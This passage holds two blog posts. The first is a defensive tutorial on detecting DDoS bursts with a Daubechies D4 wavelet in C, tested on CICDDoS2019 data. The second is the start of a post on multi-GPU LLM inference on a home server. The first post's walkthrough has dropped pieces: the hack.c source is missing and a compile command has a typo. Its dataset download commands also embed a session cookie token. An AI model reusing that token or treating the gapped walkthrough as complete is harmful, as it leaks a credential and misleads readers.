Daubechies D4 detail coefficient;
robust z-score;
event-level metrics.

The most important part is the D4 filter:

static void compute_db4_detail(sample_t *s, int n) {
  const double sqrt3 = 1.7320508075688772935;
  const double denom = 4.0 * 1.4142135623730950488;

  const double h0 = (1.0 + sqrt3) / denom;
  const double h1 = (3.0 + sqrt3) / denom;
  const double h2 = (3.0 - sqrt3) / denom;
  const double h3 = (1.0 - sqrt3) / denom;

  const double g0 = h3;
  const double g1 = -h2;
  const double g2 = h1;
  const double g3 = -h0;

  for (int i = 3; i < n; i++) {
    s[i].db4_detail =
      g0 * s[i - 3].value +
      g1 * s[i - 2].value +
      g2 * s[i - 1].value +
      g3 * s[i].value;
    s[i].db4_detail = fabs(s[i].db4_detail);
  }
}

This is the core idea. Four samples go in, one detail value comes out.

The detector then calibrates a baseline from benign samples before the first attack:

then:

So, the full source code look like this (hack.c):

demo

Let’s see this in action. First of all, compile:

gcc -O2 -Wall -Wextra hack.c -lm -o hack

run on the local fixture:

./hack fixture_cic_timeseries.csv db4_results.csv 600 8

as you can see, in my case:

input: fixture_cic_timeseries.csv
samples: 360
baseline samples: 167
db4 detail median: 4.11610831
db4 detail robust sigma: 2.30696801
rolling average threshold: 600.00
db4 z-score threshold: 8.00

event-level rolling average: TP=2 FP=12 FN=0 events=2
event-level Daubechies D4:  TP=2 FP=0 FN=0 events=2

wrote db4_results.csv

Both methods detected the two attack events. But rolling average produced 12 false post-event alerts because it stays high after the event. D4 produced 0 false events in this test.

this is the main practical result:

plot

Generate the plot:

python3 plot_db4.py

result:

the first plot shows the traffic feature and rolling average. The orange rolling average remains high after the attack ends, which explains the false alert tail.

the second plot shows the Daubechies D4 robust z-score. D4 reacts around the sharp transitions and then returns to baseline quickly.

the third plot compares event-level TP, FP, and FN.

proof that this works

Most of my readers may ask, why this concept works? there are two proofs here: mathematical and experimental.

mathematical proof: rolling average is a smoothing filter. For a short pulse of amplitude $A $ and duty cycle $p $:

\[\bar{x}=pA\]

If:

\[pA\le\theta\]

the detector misses or delays the alert.

D4 detail is a high-pass wavelet coefficient:

\[d_t = g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

It suppresses smooth behavior because:

\[\sum g_k=0\]

and:

\[\sum k g_k=0\]

but it reacts to abrupt attack transitions because step-like traffic changes create non-zero high-pass response.

What about experimental proof?

On the local CICDDoS-style test:

so in this case D4 preserves detection while reducing false positives:

\[\Delta FP=FP_{avg}-FP_{D4}=12-0=12\]

this is better because an Anti-DDoS detector is not only about finding attacks. It must also avoid unnecessary mitigation after the attack ends.

practical example 2: using real CICDDoS2019 CSV

Now let’s use real data. Download CICDDoS2019 CSV files from the official page:

https://www.unb.ca/cic/datasets/ddos-2019.html

I downloaded part of CICDDoS2019 into:

curl 'https://cicresearch.ca//CICDataset/CICDDoS2019/download.php?file=CSVs%2FCSV-03-11.zip' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \
  -H 'Referer: https://cicresearch.ca//CICDataset/CICDDoS2019/browse.php?p=CSVs' \
  -H 'DNT: 1' \
  -H 'Sec-GPC: 1' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: Token=77m9ojfb0piir76m5jtropb6mp' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Priority: u=0, i' --output CICDoS2019-1.zip

curl 'https://cicresearch.ca//CICDataset/CICDDoS2019/download.php?file=CSVs%2FCSV-01-12.zip' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \ 
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \
  -H 'Referer: https://cicresearch.ca//CICDataset/CICDDoS2019/browse.php?p=CSVs' \
  -H 'DNT: 1' \
  -H 'Sec-GPC: 1' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: Token=77m9ojfb0piir76m5jtropb6mp' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Priority: u=0, i' --output CICDDoS2019-2.zip

tree ./03-11/

For the first real-data experiment I use Portmap.csv. The reason is pragmatic: it is the smallest file in this folder, but it is still a real CICDDoS2019 CICFlowMeter CSV with Timestamp, more than 80 flow features, and Label.

The raw labels include:

BENIGN
Portmap

the input is still too detailed for our wavelet detector because every row is a flow. So the first step is aggregation:

\[x_t = \#\{\text{flows in second }t\}\]

and:

\[y_t = \begin{cases} 1, & \text{at least one Portmap flow exists in second }t \\ 0, & \text{otherwise} \end{cases}\]

I created a dedicated script for this real-data case:

python3 prepare_03_11_real.py --input 03-11/Portmap.csv -o portmap_real_timeseries.csv --attack-label Portmap --feature count

As you can see, on my data:

source: 03-11/Portmap.csv
rows converted: 191694
seconds: 2613
attack-labeled seconds: 450
feature: count
wrote portmap_real_timeseries.csv

The important difference from the synthetic example is baseline calibration. In this real file the first attack label appears almost immediately. So it is wrong to train only on samples before the first attack.

Instead, the new detector learns baseline statistics from all seconds with label=0:

\[B_{avg} = \{\bar{x}_t : y_t=0\}\] \[B_{D4} = \{|d_t| : y_t=0\}\]

Then both detectors use the same robust z-score idea:

\[z^{avg}_t = \frac{\bar{x}_t-\operatorname{median}(B_{avg})} {1.4826\cdot\operatorname{MAD}(B_{avg})}\] \[z^{D4}_t = \frac{|d_t|-\operatorname{median}(B_{D4})} {1.4826\cdot\operatorname{MAD}(B_{D4})}\]

So the comparison is fair: rolling average and D4 both get robust normalization from BENIGN-labeled baseline seconds.

Full source code for real-CSV detector (hack_real.c):

/*
 * hack_real.c
 * Daubechies D4 wavelet detector for real CICDDoS2019-derived time series
 * author @cocomelonc
 *
 * label=0 is BENIGN, label=1 is attack.
 *
 * difference from the toy PoC:
 * - baseline is learned from all BENIGN-labeled seconds, not only from the
 *   prefix before the first attack. This is important for CICDDoS2019 files
 *   where attack traffic may begin very early.
 * - rolling average and DB4 detail are both converted to robust z-scores, so
 *   thresholds are comparable.
 */
#include <ctype.h>
#include <errno.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_SAMPLES 400000
#define LINE_MAX_LEN 4096
#define AVG_WINDOW 16
#define EVENT_MERGE_GAP 5
#define EVENT_GRACE 3

typedef struct {
  int t;
  double value;
  int label;
  double rolling_avg;
  double avg_score;
  double db4_detail;
  double db4_score;
  int avg_alert;
  int db4_alert;
} sample_t;

typedef struct {
  int tp;
  int fp;
  int fn;
  int events;
} metrics_t;

static int cmp_double(const void *a, const void *b) {
  double x = *(const double *)a;
  double y = *(const double *)b;
  return (x > y) - (x < y);
}

static double median(double *v, int n) {
  double *tmp = (double *)malloc(sizeof(double) * n);
  if (!tmp) {
    perror("malloc");
    exit(1);
  }
  memcpy(tmp, v, sizeof(double) * n);
  qsort(tmp, n, sizeof(double), cmp_double);

  double result = (n % 2 == 0) ? (tmp[n / 2 - 1] + tmp[n / 2]) / 2.0 : tmp[n / 2];
  free(tmp);
  return result;
}

static double mad(double *v, int n, double med) {
  double *dev = (double *)malloc(sizeof(double) * n);
  if (!dev) {
    perror("malloc");
    exit(1);
  }

  for (int i = 0; i < n; i++) {
    dev[i] = fabs(v[i] - med);
  }

  double result = median(dev, n);
  free(dev);
  return result < 1e-9 ? 1e-9 : result;
}

static char *trim(char *s) {
  while (isspace((unsigned char)*s)) {
    s++;
  }
  if (*s == 0) {
    return s;
  }

  char *end = s + strlen(s) - 1;
  while (end > s && isspace((unsigned char)*end)) {
    *end = 0;
    end--;
  }
  return s;
}

static int read_series(const char *path, sample_t *samples) {
  FILE *f = fopen(path, "r");
  if (!f) {
    fprintf(stderr, "failed to open %s: %s\n", path, strerror(errno));
    exit(1);
  }

  char line[LINE_MAX_LEN];
  int n = 0;
  int line_no = 0;

  while (fgets(line, sizeof(line), f)) {
    line_no++;
    char *p = trim(line);
    if (*p == 0) {
      continue;
    }
    if (line_no == 1 && strstr(p, "t") && strstr(p, "value")) {
      continue;
    }

    char *t_s = strtok(p, ",");
    char *value_s = strtok(NULL, ",");
    char *label_s = strtok(NULL, ",");
    if (!t_s || !value_s || !label_s) {
      fprintf(stderr, "invalid CSV line %d\n", line_no);
      exit(1);
    }
    if (n >= MAX_SAMPLES) {
      fprintf(stderr, "too many samples, max=%d\n", MAX_SAMPLES);
      exit(1);
    }

    samples[n].t = atoi(trim(t_s));
    samples[n].value = atof(trim(value_s));
    samples[n].label = atoi(trim(label_s)) != 0;
    n++;
  }

  fclose(f);
  return n;
}

static void compute_rolling_avg(sample_t *s, int n) {
  for (int i = 0; i < n; i++) {
    int start = i - AVG_WINDOW + 1;
    if (start < 0) {
      start = 0;
    }

    double sum = 0.0;
    int count = 0;
    for (int j = start; j <= i; j++) {
      sum += s[j].value;
      count++;
    }
    s[i].rolling_avg = sum / (double)count;
  }
}

static void compute_db4_detail(sample_t *s, int n) {
  const double sqrt3 = 1.7320508075688772935;
  const double denom = 4.0 * 1.4142135623730950488;

  const double h0 = (1.0 + sqrt3) / denom;
  const double h1 = (3.0 + sqrt3) / denom;
  const double h2 = (3.0 - sqrt3) / denom;
  const double h3 = (1.0 - sqrt3) / denom;

  const double g0 = h3;
  const double g1 = -h2;
  const double g2 = h1;
  const double g3 = -h0;

  for (int i = 3; i < n; i++) {
    s[i].db4_detail =
      g0 * s[i - 3].value +
      g1 * s[i - 2].value +
      g2 * s[i - 1].value +
      g3 * s[i].value;
    s[i].db4_detail = fabs(s[i].db4_detail);
  }
}

static int collect_benign_feature(sample_t *s, int n, double *out, int feature) {
  int count = 0;
  for (int i = 0; i < n; i++) {
    if (s[i].label) {
      continue;
    }
    out[count++] = (feature == 0) ? s[i].rolling_avg : s[i].db4_detail;
  }
  return count;
}

static metrics_t event_metrics(sample_t *s, int n, int use_db4) {
  metrics_t m = {0, 0, 0, 0};
  unsigned char *covered = (unsigned char *)calloc(n, sizeof(unsigned char));
  if (!covered) {
    perror("calloc");
    exit(1);
  }

  int i = 0;
  while (i < n) {
    if (!s[i].label) {
      i++;
      continue;
    }

    int start = i;
    int end = i;
    int last_attack = i;
    i++;

    while (i < n) {
      if (s[i].label) {
        last_attack = i;
        end = i;
        i++;
        continue;
      }
      if (i - last_attack <= EVENT_MERGE_GAP) {
        end = i;
        i++;
        continue;
      }
      break;
    }

    int grace_end = end + EVENT_GRACE;
    if (grace_end >= n) {
      grace_end = n - 1;
    }

    int detected = 0;
    for (int j = start; j <= grace_end; j++) {
      covered[j] = 1;
      int alert = use_db4 ? s[j].db4_alert : s[j].avg_alert;
      if (alert) {
        detected = 1;
      }
    }

    m.events++;
    if (detected) {
      m.tp++;
    } else {
      m.fn++;
    }
  }

  for (i = 0; i < n; i++) {
    int alert = use_db4 ? s[i].db4_alert : s[i].avg_alert;
    if (alert && !covered[i]) {
      m.fp++;
    }
  }

  free(covered);
  return m;
}

static void write_results(const char *path, sample_t *s, int n) {
  FILE *f = fopen(path, "w");
  if (!f) {
    fprintf(stderr, "failed to open %s: %s\n", path, strerror(errno));
    exit(1);
  }

  fprintf(f, "t,value,label,rolling_avg,avg_score,db4_detail,db4_score,avg_alert,db4_alert\n");
  for (int i = 0; i < n; i++) {
    fprintf(f, "%d,%.8f,%d,%.8f,%.8f,%.8f,%.8f,%d,%d\n",
      s[i].t,
      s[i].value,
      s[i].label,
      s[i].rolling_avg,
      s[i].avg_score,
      s[i].db4_detail,
      s[i].db4_score,
      s[i].avg_alert,
      s[i].db4_alert);
  }
  fclose(f);
}

int main(int argc, char **argv) {
  const char *input = "portmap_count_timeseries.csv";
  const char *output = "portmap_real_results.csv";
  double avg_threshold = 8.0;
  double db4_threshold = 8.0;

  if (argc > 1) {
    input = argv[1];
  }
  if (argc > 2) {
    output = argv[2];
  }
  if (argc > 3) {
    avg_threshold = atof(argv[3]);
  }
  if (argc > 4) {
    db4_threshold = atof(argv[4]);
  }

  sample_t *samples = (sample_t *)calloc(MAX_SAMPLES, sizeof(sample_t));
  if (!samples) {
    perror("calloc");
    return 1;
  }

  int n = read_series(input, samples);
  if (n < 32) {
    fprintf(stderr, "need at least 32 samples\n");
    free(samples);
    return 1;
  }

  compute_rolling_avg(samples, n);
  compute_db4_detail(samples, n);

  double *benign_avg = (double *)malloc(sizeof(double) * n);
  double *benign_db4 = (double *)malloc(sizeof(double) * n);
  if (!benign_avg || !benign_db4) {
    perror("malloc");
    free(samples);
    return 1;
  }

  int benign_avg_n = collect_benign_feature(samples, n, benign_avg, 0);
  int benign_db4_n = collect_benign_feature(samples, n, benign_db4, 1);
  if (benign_avg_n < 16 || benign_db4_n < 16) {
    fprintf(stderr, "not enough benign samples\n");
    free(benign_avg);
    free(benign_db4);
    free(samples);
    return 1;
  }

  double avg_med = median(benign_avg, benign_avg_n);
  double avg_sigma = 1.4826 * mad(benign_avg, benign_avg_n, avg_med);
  double db4_med = median(benign_db4, benign_db4_n);
  double db4_sigma = 1.4826 * mad(benign_db4, benign_db4_n, db4_med);

  for (int i = 0; i < n; i++) {
    samples[i].avg_score = (samples[i].rolling_avg - avg_med) / avg_sigma;
    samples[i].db4_score = (samples[i].db4_detail - db4_med) / db4_sigma;
    samples[i].avg_alert = samples[i].avg_score > avg_threshold;
    samples[i].db4_alert = samples[i].db4_score > db4_threshold;
  }

  metrics_t avg_m = event_metrics(samples, n, 0);
  metrics_t db4_m = event_metrics(samples, n, 1);

  printf("input: %s\n", input);
  printf("samples: %d\n", n);
  printf("benign samples for baseline: %d\n", benign_avg_n);
  printf("rolling avg median: %.8f robust sigma: %.8f threshold z: %.2f\n",
    avg_med, avg_sigma, avg_threshold);
  printf("db4 detail median: %.8f robust sigma: %.8f threshold z: %.2f\n\n",
    db4_med, db4_sigma, db4_threshold);

  printf("event-level rolling average z-score: TP=%d FP=%d FN=%d events=%d\n",
    avg_m.tp, avg_m.fp, avg_m.fn, avg_m.events);
  printf("event-level Daubechies D4 z-score:  TP=%d FP=%d FN=%d events=%d\n",
    db4_m.tp, db4_m.fp, db4_m.fn, db4_m.events);

  write_results(output, samples, n);
  printf("\nwrote %s\n", output);

  free(benign_avg);
  free(benign_db4);
  free(samples);
  return 0;
}

demo 2

Let’s see this in action, compile the real-data detector:

gcc -O2 -Wall -Wextra hac_real.c -lm -o hack_real

Then, run with the same z-threshold for both detectors:

./hack_real portmap_real_timeseries.csv portmap_real_results.csv 4 4

As you can see, in my case:

input: portmap_real_timeseries.csv
samples: 2613
benign samples for baseline: 2163
rolling avg median: 0.81250000 robust sigma: 1.01928750 threshold z: 4.00
db4 detail median: 0.44828774 robust sigma: 0.66463140 threshold z: 4.00

event-level rolling average z-score: TP=34 FP=125 FN=94 events=128
event-level Daubechies D4 z-score:  TP=65 FP=94 FN=63 events=128

wrote portmap_real_results.csv

Finally, draw the real-data plot:

python3 plot_portmap_real.py

The first plot is the real aggregated flow count from 03-11/Portmap.csv.

The second plot zooms into an attack-heavy area. You can see short labeled attack points mixed with small baseline traffic. This is much messier than the synthetic example, as expected from a real dataset.

The third plot compares robust z-scores:

orange: rolling average z-score;
green: Daubechies D4 detail z-score;
dashed red line: threshold $ z=4 $.

The last plot shows event-level metrics.

proof that this works (example 2)

If you’ve made it this far, let’s prove again why it works here.

Mathematical proof:

Rolling average is a smoothing filter:

\[\bar{x}_t=\frac{1}{W}\sum_{i=0}^{W-1}x_{t-i}\]

this is useful for long high-volume attacks, but it has inertia. If traffic jumps and then quickly returns to normal, the average can remain elevated because old attack samples still live inside the window.

D4 detail is a high-pass wavelet coefficient:

\[d_t = g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

It suppresses smooth behavior because:

\[\sum_{k=0}^{3}g_k=0\]

and:

\[\sum_{k=0}^{3}k g_k=0\]

So for a constant or nearly linear local trend, D4 detail is small. But for an abrupt traffic transition, D4 detail becomes large. In cybersecurity language:

rolling average asks: is traffic high for a while?
D4 asks: did the traffic shape suddenly break?

practical proof on the real 03-11/Portmap.csv:

At the same threshold $ z=4 $, D4 is better on all three event-level metrics:

\[TP_{D4}-TP_{avg}=65-34=31\] \[FP_{avg}-FP_{D4}=125-94=31\] \[FN_{avg}-FN_{D4}=94-63=31\]

So on this real file from dataset, D4 finds more Portmap attack events and produces fewer false positives and fewer misses.

This does not mean D4 is universally better for every DDoS type. It means something narrower and defensible:

For this CICDDoS2019 Portmap.csv flow-count time series, with BENIGN-based robust normalization and equal threshold (z=4), Daubechies D4 dominates rolling average in event-level TP/FP/FN.

That is the kind of claim we can publish honestly.

The detection success depends on:

for a full paper-style evaluation, repeat the same experiment for:

Then plot ROC/PR curves across multiple thresholds:

\[TPR(\tau)=\frac{TP(\tau)}{TP(\tau)+FN(\tau)}\] \[FPR(\tau)=\frac{FP(\tau)}{FP(\tau)+TN(\tau)}\] \[\operatorname{Precision}(\tau)=\frac{TP(\tau)}{TP(\tau)+FP(\tau)}\]

This is how to prove whether the method generalizes beyond one file.

limitations

this detector is not a complete Anti-DDoS system.

D4 wavelet is good for abrupt changes. It is not enough for:

very slow ramp attacks;
application-layer attacks with low traffic volume;
attacks where the signal is not rate but distribution;
attacks hidden inside normal event traffic.

For those, we need more features:

\[S = w_1Z_{rate}+ w_2Z_{D4}+ w_3Z_{entropy}+ w_4Z_{protocol}\]

For example:

SYN flood: handshake asymmetry;
DNS flood: qname entropy and NXDOMAIN ratio;
UDP reflection: packet size and source port distribution;
carpet bombing: destination distribution and matrix anomalies.

conclusion

Haar wavelet is good for explaining the idea. Daubechies D4 is a better next step because it is still simple but has stronger mathematical properties.

In this post:

we implemented D4 in C;
we used robust median/MAD thresholding;
we prepared a CICDDoS2019-compatible time-series format;
we added a converter for real CICDDoS2019 flow CSV;
we plotted traffic, D4 score, and event-level metrics;
we showed that D4 can reduce false post-event alerts compared with rolling average.

This is a useful building block for a defensive Anti-DDoS research pipeline.

references and further reading

If you want to go deeper into the math and the research behind this post, here are the academic papers I recommend. I grouped them by topic.

Wavelets and signal analysis of network traffic

P. Barford, J. Kline, D. Plonka, A. Ron. A Signal Analysis of Network Traffic Anomalies (ACM SIGCOMM Internet Measurement Workshop, 2002) - pdf. The classic paper on using wavelet decomposition to expose short-lived traffic anomalies.
S. Mallat. A Theory for Multiresolution Signal Decomposition: The Wavelet Representation (IEEE Trans. PAMI, 1989) - doi. The foundational multiresolution analysis paper behind the Haar/DWT machinery.
I. Daubechies. Ten Lectures on Wavelets (SIAM, 1992) - doi. The standard reference textbook for wavelet theory.
C.-M. Cheng, H. T. Kung, K.-S. Tan. Use of Spectral Analysis in Defense Against DoS Attacks (IEEE GLOBECOM, 2002) - pdf. Spectral/power-density view of DoS traffic, a close cousin of the wavelet approach.

Low-rate and pulsing DDoS attacks

A. Kuzmanovic, E. W. Knightly. Low-Rate TCP-Targeted Denial of Service Attacks (The Shrew vs. the Mice and Elephants) (ACM SIGCOMM, 2003) - pdf. Explains exactly why low duty-cycle pulses evade average-based detectors while still hurting TCP.

Change-point detection (onset detection)

E. S. Page. Continuous Inspection Schemes (Biometrika, 1954) - doi. The original CUSUM change-detection scheme.
G. V. Moustakides. Optimal Stopping Times for Detecting Changes in Distributions (Annals of Statistics, 1986) - doi. Proves the minimax optimality of CUSUM for minimum-delay detection.
H. Wang, D. Zhang, K. G. Shin. Detecting SYN Flooding Attacks (IEEE INFOCOM, 2002) - pdf. Non-parametric CUSUM applied to the SYN-FIN difference; directly relevant to SYN-flood detection.

Entropy and statistical / distributional detection

L. Feinstein, D. Schnackenberg, R. Balupari, D. Kindred. Statistical Approaches to DDoS Attack Detection and Response (DARPA DISCEX, 2003) - doi. Entropy and chi-square tests for volume-independent detection.
A. Lall, V. Sekar, M. Ogihara, J. Xu, H. Zhang. Data Streaming Algorithms for Estimating Entropy of Network Traffic (ACM SIGMETRICS, 2006) - pdf. How to estimate traffic entropy at line rate with small memory.
A. Lakhina, M. Crovella, C. Diot. Diagnosing Network-Wide Traffic Anomalies (ACM SIGCOMM, 2004) - pdf. PCA subspace method for correlated, network-wide anomalies.

Robust statistics (median / MAD / z-score)

P. J. Huber. Robust Estimation of a Location Parameter (Annals of Mathematical Statistics, 1964) - doi. The origin of robust location estimation behind median/MAD.
F. R. Hampel. The Influence Curve and Its Role in Robust Estimation (JASA, 1974) - doi. Breakdown point and influence functions, why MAD beats standard deviation under contamination.

Baseline modeling and seasonality

J. D. Brutlag. Aberrant Behavior Detection in Time Series for Network Monitoring (USENIX LISA, 2000) - pdf. Holt-Winters seasonal baselining with confidence bands - the operational version of an adaptive threshold.

Self-similar traffic (background for why wavelets fit network data)

W. E. Leland, M. S. Taqqu, W. Willinger, D. V. Wilson. On the Self-Similar Nature of Ethernet Traffic (ACM SIGCOMM, 1993) - doi. Shows network traffic is self-similar/bursty across scales, which motivates multi-resolution analysis.

Surveys and datasets

J. Mirkovic, P. Reiher. A Taxonomy of DDoS Attack and DDoS Defense Mechanisms (ACM SIGCOMM CCR, 2004) - doi. A good map of the whole attack/defense landscape.
I. Sharafaldin, A. H. Lashkari, S. Hakak, A. A. Ghorbani. Developing Realistic Distributed Denial of Service (DDoS) Attack Dataset and Taxonomy (IEEE ICCST, 2019) - doi. The paper behind the CICDDoS2019 dataset linked above.

Haar wavelet
Daubechies wavelet
Wavelet
source code in github

This is a practical defensive case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

AI At Home Part 2: Multi GPU Drifting

Wed, 26 Aug 2026 01:53:42 +0000

No, We Have AI At Home

Chapter 2: Multi-GPU Drifting

August 20 2026

In the last chapter I built a ridiculous home server out of e-waste-grade GPUs to run AI language models. Here, I'll be talking about what I needed to do to squeeze some kind of reasonable performance out of this kind of setup. (This is going to be using existing code and techniques, messing around with llama.cpp settings and so on; writing new ROCm kernels is out of scope for this chapter).

I'm gonna go into some background here. If you already know how transformer models work, go ahead and jump to section 2. If you already know how multi-GPU parallelism works and just want to get to the part where I'm testing things, jump to section 3.

section 1: attention

Okay, basically all of the AI text generation software that's currently in use everywhere are instances of the "transformer model" or "large language model". The design and basic technique was introduced in the paper Attention is All You Need, which is probably the most important paper in the field of computer science in the past, I dunno, twenty years? The paper is pretty readable as far as these things go. I'm sure every software engineer reading this blog post has already read it, right? (Right?)

Anyway. I'm going to over-simplify things a bit here and focus from the perspective of somebody who is trying to get these things to run fast on crappy hardware, and not go deep into the tensor math or talk much about model training, because this blog post is already going to be way, way too long.

The LLM works in terms of "tokens". A token is basically a word fragment; instead of inputting and outputting individual letters it's more efficient to chop these up into sequences of letters and have the model process those. (This is why early AI models were bad at correctly answering questions like "how many times is the letter R in the word raspberry?") Different models tokenize language differently, you can think of this as like a frequency encoding. Each time a model generates another token, it'll actually generate a probability distribution and then randomly sample one from that distribution, because language works better that way than picking the exact most likely next thing every time.

The language model is a neural network that's divided into layers. You have an input layer and an output layer and a bunch of layers in between that don't directly interact with the input or output ("hidden layers"). The input layer takes in the entire input prompt, and then each layer does math on the output of the previous layer in series. The thing where the model looks at the entire input at once, and looks at the relations between different tokens at different points in the input series, is called the "attention mechanism". If you've been reading about AI language models you probably have heard somebody confidently claim "these AI models are just next word generators, like a Markov chain is", and then you probably noticed that these AI models generate very different outputs than a Markov chain does, and wondered where exactly that guy went wrong. Well, a Markov chain doesn't have the attention mechanism, it just generates a new token based on the previous token in the series.

So, to generate the next token, the model reads in the entire tokenized prompt, turns this into an embedding matrix (each token gets turned into a vector where the length is the hidden dimension of each layer), then does the attention math on each layer (gigantic matrix multiplication for each token, for each layer in series), samples a new token, adds it to the prompt, and keeps doing this in a loop until it gets to a token that indicates that it's time to stop.

fig 1 from "Attention Is All You Need" (Vaswani et. al., 2017)

For our purposes, what this means is that every time the computer generates a token, it needs to read in the existing context, and also every weight in the model, in order to do all those matrix multiplications to generate the token. I'd mentioned the Gemma4-31B model in the last chapter; as the name implies, the model has 31 billion weights (divided into 60 layers). We've got to load all of them into the GPU to calculate the next token. Loading these takes a lot longer than the actual attention math does; token generation is (usually) limited by memory bandwidth rather than compute. This is why the server I built has all of those GPUs with lots of VRAM attached to them; the model weights and KV cache need to be in VRAM that can get to the GPU quickly. The memory attached to the CPU is by comparison a lot slower. (This is also why we are in a memory shortage right now as the entire industry shifts to prioritize producing high-bandwidth memory for data center GPUs).

This obviously isn't going to scale super well. As model sizes increase, token generation slows way down; practical limits on this kind of thing got hit already. In response, we have the misleadingly-named "Mixture of Experts" model architecture¹. The idea here is that the first couple of layers are used every time to process the whole input embedding matrix, then this gets routed to some subset of the model. For the middle layers, each input token gets routed to a subset of the weights, so only some set of the weights will need to get loaded for each token. Each of these subsets is called an "expert", and I really hate this framing, because it gives you the completely false impression that like one of these branches knows about Python and one of them knows about rocket engines and one of them knows how to speak German and you can just trim the parts of the model you don't care about. This is absolutely not the case, though! The "experts" are basically random, or at least unpredictable, and for most MoE models, different tokens will get routed to different experts in a mostly uniform distribution. So, for example, Deepseek V4 Flash has 284 billion weights but for each token we will only load and process 13 billion. (The shorthand for this is "284B-A13B", only 13B get "activated"). But I don't know which 13 billion ahead of time, and it's going to change for each token that gets generated, so I still need to store all 284 billion weights in some pretty fast memory to keep token generation fast. The MoE thing makes token generation fast at the cost of needing more VRAM.

section 2: parallelism

When you're using a lot of VRAM, it's going to be divided among separate GPUs. My server has four, with 32GB each; the serious business ones will have eight GPUs with like 192GB each, and then will have to split really big models up between multiple compute nodes, but the principles are the same. A GPU can read its own memory pretty quickly and memory from some other GPU not very quickly and memory on a whole different compute node will be slower still. There's several different ways to split this up. Only two of them really matter for the use case I have, where I've got a box in the garage and I'm the only real user and I'm trying to get the smartest model working at adequate speeds for myself.

Layer Parallel - We take the model and put different layers on the different GPUs. As we're generating a new token, we run through a few of the layers on GPU 1, then move that intermediate state over to GPU 2 and process the next set of layers, and so on. This is pretty simple, it gets all of our model weights into VRAM. Each layer is getting processed in series, though, because each layer depends on the output of the previous layer, and so the theoretical best speed we can expect here is basically the same as what one GPU would give us if it had as much VRAM as the whole set. (In practice it'll be a bit slower). An AMD V620 has 512 GB/s of memory bandwidth. If I'm splitting the model up between four GPUs layer parallel, for one prompt I'm gonna get... 512 GB/s of memory bandwidth, minus the overhead of moving data between the GPUs.

Tensor Parallel - We take the model and split each layer between multiple GPUs. For each layer, each GPU calculates a fraction of that matrix multiplication, then sends that result to some other GPU that will synchronize and calculate the final result before moving on to the next layer. In theory this should allow us to parallelize our memory bandwidth: I have four cards at 512GB/s, if I'm splitting the model up tensor parallel I should get 2TB/s of memory bandwidth as I move through each layer! Minus the overhead of moving data between the GPUs, of course. Which is, unfortunately, way more! We're moving data around multiple times for each layer, instead of just once per GPU per token as in layer parallel. This can (and will, on my server) outweigh the speed increase from the increased memory bandwidth.

You'll also see discussion of other parallelisms that make more sense in the context of serving multiple users at once:

Data Parallel is just running the same model on multiple separate GPUs and routing incoming queries to run in parallel. I may play around with that for multiple subagents running simultaneously in the future, but it's not actually necessary until you get to very large scale because a GPU can process inference in a batch already. (The inference pipeline is bound by memory bandwidth, as mentioned earlier, so you can slide some amount of extra matrix math in there for "free", at least until you try to do so much that it becomes compute-bound again).

Expert Parallel keeps shared tensors on every GPU and then puts each of the non-shared "experts" (or subgroups of them) onto different GPUs, so multiple users would get their queries routed to different GPUs for most of the inference pipeline. Again, this one mostly makes sense for lots of concurrent users, and is widely used by commercial LLM providers. It doesn't really help my case though.

Anyway, my server will mostly be serving me making one request at a time. I'll play around with parallel subagents at some point, maybe I'll have a couple guests hitting this thing at the same time, but I don't really have multiple users here so I'm not optimizing for these cases.

section 3: experimentation

Okay, let's talk about my server.

The GPU array I have here is four AMD Radeon Pro V620 cards connected to a shared PCI Express bus. You'd expect the inter-GPU-traffic to be slow, and it's even slower than you'd expect, because the motherboard is running the older PCIe 3.0 standard and most of the cards are using 8 lanes instead of 16.

jacob@daedalus:~$ sudo lspci -vvv
[...]
LnkCap: Port #2, Speed 16GT/s, Width x16, ASPM L1, Exit Latency L1 <64us
        ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp+
LnkCtl: ASPM L1 Enabled; Disabled- CommClk+
        ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 8GT/s (downgraded), Width x8 (downgraded)
        TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-

lspci shows eight lanes and slow, like the LA freeways

So I suspect that tensor parallel isn't going to work very well. The cards that are actually designed and marketed for AI workloads have some kind of high speed, low latency inter-GPU connection in addition to PCIe, and these are all manufacturer-specific; Nvidia has NVLink, AMD has Infinity Fabric, Intel has Xe Link, etc. These cards don't have anything like that. Around the same time AMD was making these cards for their cloud gaming scheme, they were making an AI-focused card called the AMD Instinct MI210, it has about three times the memory bandwidth and you can get a special bridge connector that connects up to four of them via Infinity Fabric. Also, a single one of those cards would cost (used, today) more than this whole box, so that's all kind of a non-starter. I have to make do with what I have.

What I have are four cards that are respectably fast individually and have poor interconnects between them, which means we're going to have to do this in layer parallel, then figure out how to fill up the pipeline. And even layer parallel has a performance impact, as we'll see.

For the purposes of this study here I had two models I was playing with; I had Gemma4-31B, and Deepseek V4 Flash.

